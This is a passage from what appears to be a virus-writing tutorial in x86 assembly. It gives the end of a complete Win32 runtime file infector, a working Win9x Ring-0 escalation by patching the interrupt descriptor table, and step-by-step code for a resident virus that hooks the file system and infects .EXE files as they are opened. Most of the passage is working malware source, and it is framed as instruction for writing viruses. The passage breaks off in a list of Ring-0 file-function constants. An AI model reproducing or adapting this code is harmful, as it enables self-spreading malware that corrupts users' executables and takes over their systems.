@@Namez                 label   byte
```

```
@FindFirstFileA          db      "FindFirstFileA",0
@FindNextFileA           db      "FindNextFileA",0
@FindClose               db      "FindClose",0
@CreateFileA             db      "CreateFileA",0
@SetFilePointer          db      "SetFilePointer",0
@SetFileAttributesA      db      "SetFileAttributesA",0
@CloseHandle             db      "CloseHandle",0
@GetCurrentDirectoryA    db      "GetCurrentDirectoryA",0
@SetCurrentDirectoryA    db      "SetCurrentDirectoryA",0
@GetWindowsDirectoryA    db      "GetWindowsDirectoryA",0
@GetSystemDirectoryA     db      "GetSystemDirectoryA",0
@CreateFileMappingA      db      "CreateFileMappingA",0
@MapViewOfFile           db      "MapViewOfFile",0
@UnmapViewOfFile         db      "UnmapViewOfFile",0
@SetEndOfFile            db      "SetEndOfFile",0
                         db      0BBh

                         align   dword
virus_end                label   byte

heap_start               label   byte

                         dd      00000000h

NewSize                  dd      00000000h
SearchHandle             dd      00000000h
FileHandle               dd      00000000h
MapHandle                dd      00000000h
MapAddress               dd      00000000h
AddressTableVA           dd      00000000h
NameTableVA              dd      00000000h
OrdinalTableVA           dd      00000000h

@@Offsetz                label   byte
_FindFirstFileA          dd      00000000h
_FindNextFileA           dd      00000000h
_FindClose               dd      00000000h
_CreateFileA             dd      00000000h
_SetFilePointer          dd      00000000h
_SetFileAttributesA      dd      00000000h
_CloseHandle             dd      00000000h
_GetCurrentDirectoryA    dd      00000000h
_SetCurrentDirectoryA    dd      00000000h
_GetWindowsDirectoryA    dd      00000000h
```

```
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile         dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile          dd      00000000h

MAX_PATH               equ     260

FILETIME               STRUC
FT_dwLowDateTime        dd      ?
FT_dwHighDateTime       dd      ?
FILETIME               ENDS

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName         db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

directories            label   byte

WindowsDir             db      7Fh dup (00h)
SystemDir              db      7Fh dup (00h)
OriginDir              db      7Fh dup (00h)
dirs2inf               equ     (($-directories)/7Fh)
mirrormirror           db      dirs2inf

heap_end               label   byte

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; All the above is data used by the virus ;)                               ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

; First generation host

fakehost:
       pop     dword ptr fs:[0]              ; Clear some shit from stack
```

```
        add     esp,4
        popad
        popfd

        xor     eax,eax                          ; Show the MessageBox with
        push    eax                              ; a silly 1st gen message
        push    offset szTitle
        push    offset szMessage
        push    eax
        call    MessageBoxA

        push    00h                              ; Terminate the 1st gen
        call    ExitProcess

end     aztec
;---[ CUT HERE ]-------------------------------------------------------------
```

Well, i think that all about that virus is enough clear. It's just a simple direct action (runtime) virus, able to work in all Win32 platforms, and infects 5 files in the current, windows, and system directories. It hasn't any mechanism for hide itself (as it's an example virus), and i think it's detected by all the AVs actually. So it's not worth to change the strings and claim it's authory. Do it yourself. As i know that some parts of the virus are still not clear (those referred to API calls, ie the values to use for perform an action, here goes a brief enumeration of how to call some APIs for do a concrete action.

-> How to open a file for read and write?

The API we use for that is CreateFileA. The suggested parameters are:

```
        push    00h                              ; hTemplateFile
        push    00h                              ; dwFlagsAndAttributes
        push    03h                              ; dwCreationDistribution
        push    00h                              ; lpSecurityAttributes
        push    01h                              ; dwShareMode
        push    80000000h or 40000000h              ; dwDesiredAccess
        push    offset filename                    ; lpFileName
        call    CreateFileA
```

+ hTemplateFile, dwFlagsAndAttributes and lpSecurityAttributes should be 0.

+ dwCreationDistribution, has some interesting values. It can be:

```
CREATE_NEW        = 01h
CREATE_ALWAYS      = 02h
OPEN_EXISTING      = 03h
OPEN_ALWAYS       = 04h
TRUNCATE_EXISTING = 05h
```

As we want to open an existing file, we use OPEN_EXISTING, that is 03h. If we would open a temporal file for our viral needs, we would use another value here, such as CREATE_ALWAYS.

+ dwShareMode should be 01h, anyway we can choose from these values:

```
FILE_SHARE_READ   = 01h
FILE_SHARE_WRITE  = 02h
```

So, we let other things to read our opened file, but not to write!

+ dwDesiredAccess handles the access options of the file. We use C0000000h, as it's the sum of GENERIC_READ and GENERIC_WRITE, that means we want both two access ways :) Here you have:

```
GENERIC_READ      = 80000000h
GENERIC_WRITE     = 40000000h
```

** This call to CreateProcess will return us 0xFFFFFFFF if there was a fail; if there wasn't any fail, it returns us the handle of the opened file, so we will store it in its correspondent variable. For close that handle (when needed) use the CloseHandle API.

-> How to create the mapping of an opened file?

The API used is CreateFileMappingA. The suggested parameters are:

```
      push    00h                           ; lpName
      push    size_to_map                    ; dwMaximumSizeLow
      push    00h                           ; dwMaximumSizeHigh
      push    04h                           ; flProtect
      push    00h                           ; lpFileMappingAttributes
      push    file_handle                    ; hFile
      call    CreateFileMappingA
```

+ lpName and lpFileMappingAttributes are suggested to be 0.
+ dwMaximumSizeHigh should be 0 unless while dwMaximumSizeLow < 0xFFFFFFFF
+ dwMaximumSizeLow is the size we want to map

+ flProtect could be one of this values:

```
PAGE_NOACCESS     = 00000001h
PAGE_READONLY     = 00000002h
PAGE_READWRITE    = 00000004h
PAGE_WRITECOPY    = 00000008h
PAGE_EXECUTE      = 00000010h
PAGE_EXECUTE_READ = 00000020h
PAGE_EXECUTE_READWRITE = 00000040h
PAGE_EXECUTE_WRITECOPY = 00000080h
PAGE_GUARD       = 00000100h
PAGE_NOCACHE      = 00000200h
```

I suggest you to use PAGE_READWRITE, that allows us to read and/or write without any kind of problem inside the mapping.

+ hFile is the handle of the previously opened file, that one we want to map

** The call to this API will return us a NULL value in EAX if there was a fail; otherwise will return us the Mapping Handle. We will store it in the variable for that purpose. For close a Mapping Handle, the API called CloseHandle should be used.

-> How to be able to map the file?

The API MapViewOfFile should be used. Its suggested parameters are:

```
      push    size_to_map                    ; dwNumberOfBytesToMap
      push    00h                           ; dwFileOffsetLow
      push    00h                           ; dwFileOffsetHigh
      push    02h                           ; dwDesiredAccess
      push    map_handle                     ; hFileMappingObject
      call    MapViewOfFile
```

+ dwFileOffsetLow and dwFileOffsetHigh should be 0
+ dwNumberOfBytesToMap are the number of bytes we want to map of file
+ dwDesiredAccess could be one of this values:

```
FILE_MAP_COPY     = 00000001h
FILE_MAP_WRITE    = 00000002h
FILE_MAP_READ     = 00000004h
```

I suggest FILE_MAP_WRITE.

+ hFileMappingObject should be the Mapping Handle, returned by a previous call to CreateFileMappingA.

** This API will return us NULL if there was any fail, otherwise it will return us the Mapping Address. So, parting from that Mapping Address, you can access anywhere in the mapped space, and modify what you want :) For close that Mapping Address, UnmapViewOfFile API should be used.

-> How close File Handle and Mapping Handle?

Ok, we must use the CloseHandle API.

```
      push    handle_to_close               ; hObject
      call    CloseHandle
```

** If the closing is success, it returns 1.

-> How close the Mapping Address?

You should use UnmapViewOfFile.

```
      push    mapping_address               ; lpBaseAddress
      call    UnmapViewOfFile
```

** If the closing is success, it returns 1.

Ring-0, coding in the god level

Freedom! Don't you love it? In Ring-0 we are outside the laws, nothing is restricted here. Due to the incompetence of Micro$oft we have lotsa ways for jump to the level where we theorically must not be able to jump. But, we can jump to it in Win9X systems :)

The fool ppl at Micro$oft left unprotected the interrupt table, for example. This is a huge security fail in my eyes. But what the fuck, if we can code a virus using it, it's not a fault, it's just a gift! ;)

% Accessing Ring-0 %

Well, i'm gonna explain the simplest method under my viewpoint, that is, the IDT modification. The IDT (Interrupt Descriptor Table) ain't in a fixed address, so we must use an instruction for locate it, that is SIDT.

```
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
┌──────────────────────────────────────────────────────────┐
│ SIDT - Store Interrupt Descriptor Table (286+ privileged) │
└──────────────────────────────────────────────────────────┘

    + Usage:  SIDT   dest
    + Modifies flags: none

      Stores the Interrupt Descriptor Table (IDT) Register into the
      specified operand.
                           Clocks                 Size
      Operands        808X  286   386   486          Bytes
      mem64             -    12    9    10           5

      0F 01 /1 SIDT mem64  Store IDTR to mem64
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
```

If after that ain't clear for what we use SIDT, it just puts the FWORD offset (WORD:DWORD format) of where the IDT is. And, if we know where the IDT is located, we can modify the interrupt vectors, and make them point to our code. That shows you the lameness of Micro$oft coderz. Let's continue our work. After changing vectors to point to our code (and save them for their later restore) we have only to call the interrupt we hooked. If it seems unclear for you now, there goes a little code that jumpz to Ring-0 by means of modifying the IDT.

```
;───[ CUT HERE ]──────────────────────────────────────────────────────────────

       .586p                          ; Bah... simply for phun.
       .model  flat                    ; Hehehe i love 32 bit stuph ;)

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

Interrupt       equ     01h             ; Nothing special

       .data

 szTitle        db      "Ring-0 example",0
 szMessage      db      "I'm alive and kicking ass",0
```

```
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Well, this stuph is quite clear for you now, isn't it? :)            ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

      .code

start:
      push    edx
      sidt    [esp-2]                 ; Interrupt table to stack
      pop     edx
      add     edx,(Interrupt*8)+4     ; Get interrupt vector

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; This is preety simple. The SIDT, as i explained before, puts the address ;
; of the IDT in a memory address, and for our own simplycity, we use the   ;
; stack directly. That explains the POP that comes one instruction after,  ;
; that is supposed to load in the register where we POP (in this case EDX) ;
; the offset of the IDT. The line after is just for locate offset of the   ;
; interrupt we want. This is just as play with the IVT in DOS...          ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

      mov     ebx,[edx]
      mov     bx,word ptr [edx-4]     ; Whoot Whoot

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Preety simple. It just saves EDX content in EBX for later restore       ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

      lea     edi,InterruptHandler

      mov     [edx-4],di
      ror     edi,16                  ; Move MSW to LSW
      mov     [edx+2],di

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Had i said how many simple it is before? :) Here we out in EDI da offset ;
; of the new inteerupt handler, and the three lines after put that handler ;
; in the IDT. And why that ROR? Well, doesn't matter if ya use ROR, SHR or ;
; SAR, becoz it's just used for move  da MSW (More Significant Word) of da ;
; offset of the handler to the LSW (Less Significant Word), and then store ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

      push    ds                      ; Safety safety safety...
```

```
        push    es

        int     Interrupt               ; Ring-0 comez hereeeeeee!!!!!!!

        pop     es
        pop     ds

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Mmmm... interesting. I push DS and ES for security, preventing some rare ;
; fails, but it can work without it, believe me. As the interrupt is alre- ;
; and patched, there is nothing more to do now rather than put this int... ;
; AND WE ARE NOW IN RING0! The code continues in InterruptHandler label.   ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     [edx-4],bx              ; Restore old interrupt values
        ror     ebx,16                  ; ROR, SHR, SAR... who cares?
        mov     [edx+2],bx

back2host:
        push    00h                     ; Sytle of MessageBox
        push    offset szTitle          ; Title of MessageBox
        push    offset szMessage        ; The message itself
        push    00h                     ; Handle of owner
        call    MessageBoxA             ; The API call itself

        push    00h
        call    ExitProcess

        ret

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Well, nothing more to do now besides restore the original Interrupt vec- ;
; tors, that we stored before in EBX. Kewl, isn't it? :) And then, we ret- ;
; urn code to the host. (Well, it's supposed to be that) ;)                ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

InterruptHandler:
        pushad

        ; Here goez yer code :)

        popad
        iretd
```

```
end start

;---[ CUT HERE ]------------------------------------------------------------
```

Well, now we can access to it. I think all ppl could do it, but now comes the question that comes to the normal-VX when accessed Ring-0 for the first time: Why do i do now?.

% Virus coding under Ring-0 %

Well, i love to begin lessons with a little algorithm, so here you have one of what we should do when coding a Ring-0 virus.

```
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
1. Test for OS running: If NT, skip virus and return directly to host.
2. Jump to Ring-0 (IDT, VMM inserting or Call Gate technique)
3. Execute interrupt, that contains the infection code.
   3.1. Get a place where put the virus resident (Allocate pages or in heap)
   3.2. Move the virus to it
   3.3. Hook the File System and save the old hook
        3.3.1. In the FS Hook, first of all save all parameters and fix ESP.
        3.3.2. Push parameterz
        3.3.3. Then check if system  is trying to open a file, if not, skip.
        3.3.4. If it's trying  to open, first convert  file  name to asciiz.
        3.3.5. Then check if it's an EXE file. If it isn't, skip infection.
        3.3.6. Open, read header, manipulate, write it again, append & close
        3.3.7. Call to the old hook
        3.3.8. Skip all returned parameters in ESP
        3.3.9. Return
   3.4. Return
4. Restore old interrupt vectors
5. Return control to host
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
```

The algorithm is a little bit large, anyway i could do it more general, but i prefer to go directly to the action. Ok, c'mon. Let's go.

Test OS when file running

Well, as there are some problems with da Ring-0 under NT (Super,solve them!) we must check the OS where we are, and return control to host if it's not a Win9X platform. Well, there are some ways to do it:

- + Use SEH
- + Check for the Code Segment value

Well, i suppose you know to play with SEH, right? I explained its usage in another chapter, so it's time to go and read it :) About the second possible thing to do, here is the code:

```
        mov     ecx,cs
        xor     cl,cl
        jecxz   back2host
```

The explanation of this is simple: In Windows NT, the Code Segment is always smaller than 100h, and in Win95/98 is always bigger, so we clear the less significant byte of it, and if it's smaller than 100, ECX will be 0, and vice-versa, if it's bigger than 100, it won't be 0 :) Optimized, yeah ;)

Jump to Ring-0 and execute interrupt

Well, the simplest way is the explained in Accesing Ring-0 part of this doc, so i won't talk more about this here :)

We are now in Ring-0... what to do?

Well, in Ring-0 instead of APIs we have VxD services. The VxD services are accessed in this form:

```
        int     20h
        dd      vxd_service
```

The vxd_service is placed in 2 words, the MSW indicates the VxD number, and the LSW indicates the function we call from that VxD. For example i will use VMM_PageModifyPermissions value:

```
        dd      0001000Dh
                └┴┴┤└┴┴┴──0 Service  000Dh _PageModifyPermissions
                   └──────0 VxD      0001h VMM
```

So, for call it we must do something like this:

```
        int     20h
        dd      0001000Dh
```

Well, a very inteligent way of coding is to make a macro that do this automatic, and make the numbers to be in EQUates. But that's your choice. This values are fixed, so in Win95 and Win98 are the same. So don't worry, one of the good points that Ring-0 has is the fact that you don't need to search for an offset in kernel or something (as we made with APIs), because there is no need for it, must be hardcoded :)

Here i must note a VERY important thing that we should have clear when coding a Ring-0 virus: the int 20h and the address, the way i showed you to access to VxD functions, turns in memory to something like:

```
        call    dword ptr [VxD_Service] ; Call back to the service
```

Well, you can think that it is something silly, but it's very important and a real pain, because the virus gets copied to the host with those CALLs instead with the int and the dword of service's offset, and that makes the virus could only be executed in your own computer, not in another's :(Well, as all in life, this trouble has many solutions. One of them consists in, as Win95.Padania did, to create a procedure for fix it just after each VxD call. Another ways are: to make a table with all offsets to fix, do it directly, etc. Here goes my code, and you can see it implemented in my Garaipena and PoshKiller viruses:

```
VxDFix:
        mov     ecx,VxDTbSz             ; Number of times to pass the routine
        lea     esi,[ebp+VxDTblz]        ; Pointer to table
@lo0pz:lodsd                            ; Load current table offset in EAX
        add     eax,ebp                 ; Add the delta offset
        mov     word ptr [eax],20CDh     ; Put in that address
        mov     edx,dword ptr [eax+08h] ; Get VxD Service value
        mov     dword ptr [eax+02h],edx ; And restore it
        loop    @lo0pz                  ; Correct another
        ret

VxDTblz        label   byte             ; Table with all offsets that have
        dd      (offset @@1)            ; a VxDCall.
        dd      (offset @@2)
        dd      (offset @@3)
        dd      (offset @@4)
        ; [...] all the rest of ptr to VxDCallz must be listed here :)

VxDTbSz        equ     (($-offset VxDTblz)/4) ; Numbah of shitz
```

I hope you understood that every VxDCall we make must have its offset here. Oh, i almost forgot another important thing: how should your VxDCall macro look like if you are using my VxDFix procedure. Here you have:

```
VxDCall macro  VxDService
      local   @@@@@@
      int     20h                  ; CD 20               +00h
      dd      VxDService            ; XX XX XX XX           +02h
      jmp     @@@@@@               ; EB 04               +06h
      dd      VxDService            ; XX XX XX XX           +08h
@@@@@@:
      endm
```

Ok. Now we need a place where go resident. I personally prefer in the net heap, because it is very simple to code (lazyness rules!).

```
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
**     IFSMgr_GetHeap - Allocate a chunk of the net heap

    + This service is not valid until IFSMgr performs SysCriticalInit.

    + This procedure uses the C6 386 _cdecl calling sequence

 + Entry -> TOS - Size required

 + Exit  -> EAX - address of heap chunk.  0 if failure

 + Uses  C registers  (eax, ecx, edx, flags)
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
```

Well, that was some Win95 DDK info. Let's put an example of this:

```
InterruptHandler:
      pushad                       ; Push all reggies

      push   virus_size+1024        ; Memory we want (virus_size+buffer)
                                  ; As you maybe use buffers, better
                                  ; add more bytes to it.
@@1:   VxDCall IFSMgr_GetHeap
      pop    ecx
```

Is it clear now? Well, as DDK says, it will return us 0 in EAX if it fails, so check for possible fails. The POP that comes after is VERY important, because most of the VxD services doesn't fix the stack, so the value we pushed before call the VxD function is still in stack.

```
      or     eax,eax              ; cmp eax,0
      jz     back2ring3
```

If function was succesful, we have in EAX the address where we must move the virus body, so let's go.

```
      mov    byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

      mov    edi,eax              ; Where move virus
      lea    esi,ebp+start          ; What to move
      push   eax                 ; Save memory address for later
      sub    ecx,1024             ; We move only virus_size
      rep    movsb                ; Move virus to its TSR location ;)
      pop    edi                  ; Restore memory address
```

Well, we have the virus in a memory address, ready for be TSR, right? And we have in EDI the address where the virus beginz in memory, so we can use it as delta offset for the next function :) Ok, we now need to hook the File-System, right? Ok, there is a function that does the job. Surprised, right? Micro$oft engineers made the dirty work for us.

```
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
**    IFSMgr_InstallFileSystemApiHook - install a filesystem api hook

      This  service  installs a  filesystem api  hook for  the caller. This
      hook is between the IFS manager and a FSD. So, the hooker gets to see
      any calls that the IFS manager makes to FSDs.

      This procedure uses the C6 386 _cdecl calling sequence

      ppIFSFileHookFunc
             IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

 Entry TOS - Address of function that is to be installed as the hook

 Exit  EAX - Pointer to variable containing the address of the previous
           hooker in this chain.
 Uses  C registers
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
```

Is it clear? If not, i hope that you'd understand it seeing some code. Ok, let's hook FileSystem...

```
      lea    ecx,[edi+New_Handler]   ; (vir address in mem + handler offs)
      push   ecx                    ; Push it

@@2:  VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

      pop    ecx                    ; Don't forget this, guy
      mov    dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

back2ring3:
      popad
      iretd                         ; return to Ring-3. Yargh
```

Well, we have seen the "setup" part of the Ring-0 virus thingy. Now, we must code the FileSystem handler :) Is simple, but not as you thought? :)

FileSystem Handler: the real fun!!!

Yeah, here is where resides the infection itself, but we have to make some thingies before go for it. Well, first of all, we must make a security copy of stack, that is to save ESP content to EBP register. After it, we should substract 20h bytes to ESP, in order to fix the stack pointer. Let's see sum code:

```
New_Handler equ  $-(offset virus_start)
FSA_Hook:
      push   ebp                    ; Save EBP content 4 further restorin
      mov    ebp,esp                 ; Make a copy of ESP content in EBP
      sub    esp,20h                 ; And fix the stack
```

Now, as our function is called by the system with some parameters, we should push them, as the original handle would do. Parameters to push go from EBP+08h until EBP+1Ch, both included, and correspond to the IOREQ structure.

```
      push   dword ptr [ebp+1Ch]     ; pointer to IOREQ structure.
      push   dword ptr [ebp+18h]     ; codepage that the user string was
                                    ; passed in on.
      push   dword ptr [ebp+14h]     ; kind of resource the operation is
                                    ; being performed on.
      push   dword ptr [ebp+10h]     ; the 1-based drive the operation is
                                    ; being performed on (-1 if UNC).
      push   dword ptr [ebp+0Ch]     ; function that is being performed.
      push   dword ptr [ebp+08h]     ; address of the FSD function that
```

```
                                        ; is to be called for this API.
```

Now we have all the parameters that we should push in the right place, so don't worry more about them. Now we must check for the IFSFN function you would like to manage. Here you have a little list with the most important:

```
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
** IFS Function IDs passed to IFSMgr_CallProvider

IFSFN_READ          equ         00h     ; read a file
IFSFN_WRITE         equ         01h     ; write a file
IFSFN_FINDNEXT      equ         02h     ; LFN handle based Find Next
IFSFN_FCNNEXT       equ         03h     ; Find Next Change Notify
IFSFN_SEEK          equ         0Ah     ; Seek file handle
IFSFN_CLOSE         equ         0Bh     ; close handle
IFSFN_COMMIT        equ         0Ch     ; commit buffered data for handle
IFSFN_FILELOCKS     equ         0Dh     ; lock/unlock byte range
IFSFN_FILETIMES     equ         0Eh     ; get/set file modification time
IFSFN_PIPEREQUEST   equ         0Fh     ; named pipe operations
IFSFN_HANDLEINFO    equ         10h     ; get/set file information
IFSFN_ENUMHANDLE    equ         11h     ; enum file handle information
IFSFN_FINDCLOSE     equ         12h     ; LFN find close
IFSFN_FCNCLOSE      equ         13h     ; Find Change Notify Close
IFSFN_CONNECT       equ         1Eh     ; connect or mount a resource
IFSFN_DELETE        equ         1Fh     ; file delete
IFSFN_DIR           equ         20h     ; directory manipulation
IFSFN_FILEATTRIB    equ         21h     ; DOS file attribute manipulation
IFSFN_FLUSH         equ         22h     ; flush volume
IFSFN_GETDISKINFO   equ         23h     ; query volume free space
IFSFN_OPEN          equ         24h     ; open file
IFSFN_RENAME        equ         25h     ; rename path
IFSFN_SEARCH        equ         26h     ; search for names
IFSFN_QUERY         equ         27h     ; query  resource info (network only)
IFSFN_DISCONNECT    equ         28h     ; disconnect from resource (net only)
IFSFN_UNCPIPEREQ    equ         29h     ; UNC path based named pipe operation
IFSFN_IOCTL16DRIVE  equ         2Ah     ; drive based 16 bit IOCTL requests
IFSFN_GETDISKPARMS  equ         2Bh     ; get DPB
IFSFN_FINDOPEN      equ         2Ch     ; open an LFN file search
IFSFN_DASDIO        equ         2Dh     ; direct volume access
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
```

Well, for our first thingy, the only function that interests us is 24h, that is, open. System calls to that function almost everytime, so no problem with it. Code for this is as simply as you can imagine :)

```
      cmp    dword ptr [ebp+0Ch],24h ; Check if system opening file
      jnz    back2oldhandler        ; If not, skip and return to old h.
```

Now begins the fun. We know here that system is requesting for file opening, so it's now our time. First of all, we should check if we are processing our own call... Simple, just add a little variable and it'll do the job with any problem. Btw, i almost forgot, get delta offset :)

```
      pushad
      call   ring0_delta            ; Get delta offset of this
ring0_delta:
      pop    ebx
      sub    ebx,offset ring0_delta

      cmp    byte ptr [ebx+semaphore],00h ; Are we the ones requesting
      jne    pushnback              ; the call?

      inc    byte ptr [ebx+semaphore] ; For avoid process our own calls
      pushad
      call   prepare_infection      ; We'll see this stuff later
      call   infection_stuff
      popad
      dec    byte ptr [ebx+semaphore] ; Stop avoiding :)

pushnback:
      popad
```

Now i'll continue explaining about the handler itself, and after that i'll explain what i do in those routines, prepare_infection and infection_stuff. Well, we have just exit the routine we would process if the system was requesting a call, ok? Well, now we must code the routine that calls the old FileSystem hook. As you can remember (i assume you don't have alzheimer) we pushed all the parameters, so the only thing we should do now is to load in a register, doesn't matter what, the old address, and then call to that memory position. After that we add 18h to the ESP (for be able to get return address), and that's all. Well, you'll see it better with some code, so here you have:

```
back2oldhandler:
      db     0B8h                   ; MOV EAX,imm32 opcode
Old_Handler   equ  $-(offset virus_start)
      dd     00000000h              ; here goes the old handler.
      call   [eax]
      add    esp,18h               ; Fix stack (6*4)
      leave                       ; 6 = num. paramz. 4 = dword size.
      ret                         ; Return
```

Infection preparations

Well, this is the aspect of the main brach of a Ring-0 code. Let's see now the Ring-0 coding details. Well, when we were in the hook handler, there were 2 calls, right? This is not required, but i made that for give more simplycity to the code, because i love to have things structured.

In the first call, that one i called prepare_infection, i only do one thing for only one reason. The name that system gave us the file name as parameter but we have one problem. System gave it to us in UNICODE, and it's unuseful by us as is. So, we need to convert that to ASCIIz, right? Well, we have a VxD service that does the job for us. Its name: UniToBCSPath. Here you have your beloved source code.

```
prepare_infection:
      pushad                      ; Push all
      lea    edi,[ebx+fname]        ; Where to put ASCII file name
      mov    eax,[ebp+10h]
      cmp    al,0FFh               ; Is it in UNICODE?
      jz     wegotdrive            ; Oh, yeah!
      add    al,"@"                ; Generate drive name
      stosb
      mov    al,":"                ; Add a :
      stosb
wegotdrive:
      xor    eax,eax
      push   eax                  ; EAX = 0 -> Convert to ASCII
      mov    eax,100h
      push   eax                  ; EAX = Size of string to convert
      mov    eax,[ebp+1Ch]
      mov    eax,[eax+0Ch]          ; EAX = Pointer to string
      add    eax,4
      push   eax
      push   edi                  ; Push offset to file name

@@3:  VxDCall UniToBCSPath

      add    esp,10h               ; Skip parameters returnet
      add    edi,eax
```

```
        xor     eax,eax                 ; Make string null-terminated
        stosb
        popad                          ; Pop all
        ret                            ; Return
```

The infection itself

Well, here i'll tell you how to arrive just until the part you must adapt all the PE header and section header to the new values that infected file should have. But i won't explain how to manipulate them, not because i am lazy, just because this is a chapter for Ring-0 coding and not for PE infection. This part matches with the infection_stuff label in the code of the FileSystem hook. First we must check if the file we are about to manipulate is an .EXE or another uninteresting file. So first of all, we must search in the file name for the 0 value, that tells us the end of it. It is preety simple to code:

```
infection_stuff:
        lea     edi,[ebx+fname]         ; Variable with the file name
getend:
        cmp     byte ptr [edi],00h      ; End of filename?
        jz      reached_end             ; Yep
        inc     edi                    ; If not, search for another char
        jmp     getend
reached_end:
```

We have now in EDI the 0 of the ASCIIz string, and as you know, it marks the end of the string, that is in this case, the file name. Well, now comes our main check, look if it is a .EXE file, and if it is not, skip infection. Well, we can also check for .SCR (Windows screensavers), and as you know, they are EXEcutables too... Well, it's your choice. Here you have some code:

```
        cmp     dword ptr [edi-4],"EXE." ; Look if extension is an EXE
        jnz     notsofunny
```

As you can see, i compared EDI-5. Understand it with a simple ASCIIz string example:

```
                 ┌─────0 DWORD that we have to compare : "EXE."
              ┌┬┼┐
"C:\WINDOWS\SHIT.EXE",0
              ││││  └─0 EDI
              │││└────0 EDI-1
              ││└─────0 EDI-2
```

```
                  │└───────0 EDI-3
                  └────────0 EDI-4
```

Well, now we know that file is an EXE file :) So, is time to remove its attributes, open file, modify the oportune fields, close file and restore attributes. All those functions are performed by another IFS service, that is IFSMgr_Ring0_FileIO. I haven't found documentation about the whole thing, anyway there is no need for it: within it there are A LOT of functions, as i said before, all functions we need for perform file infection and such like. Let's take a view to the numerical values passed in EAX to the VxD service IFSMgr_Ring0_FileIO:

```
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
; Function definitions on the ring 0 apis function list:
; NOTE: Most functions are context independent unless explicitly stated
; i.e. they do not use the current thread context. R0_LOCKFILE is the only
; exception - it always uses the current thread context.

R0_OPENCREATFILE        equ     0D500h  ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Open/Create file in current contxt
R0_READFILE             equ     0D600h  ; Read a file, no context
R0_WRITEFILE            equ     0D601h  ; Write to a file, no context
R0_READFILE_IN_CONTEXT  equ     0D602h  ; Read a file, in thread context
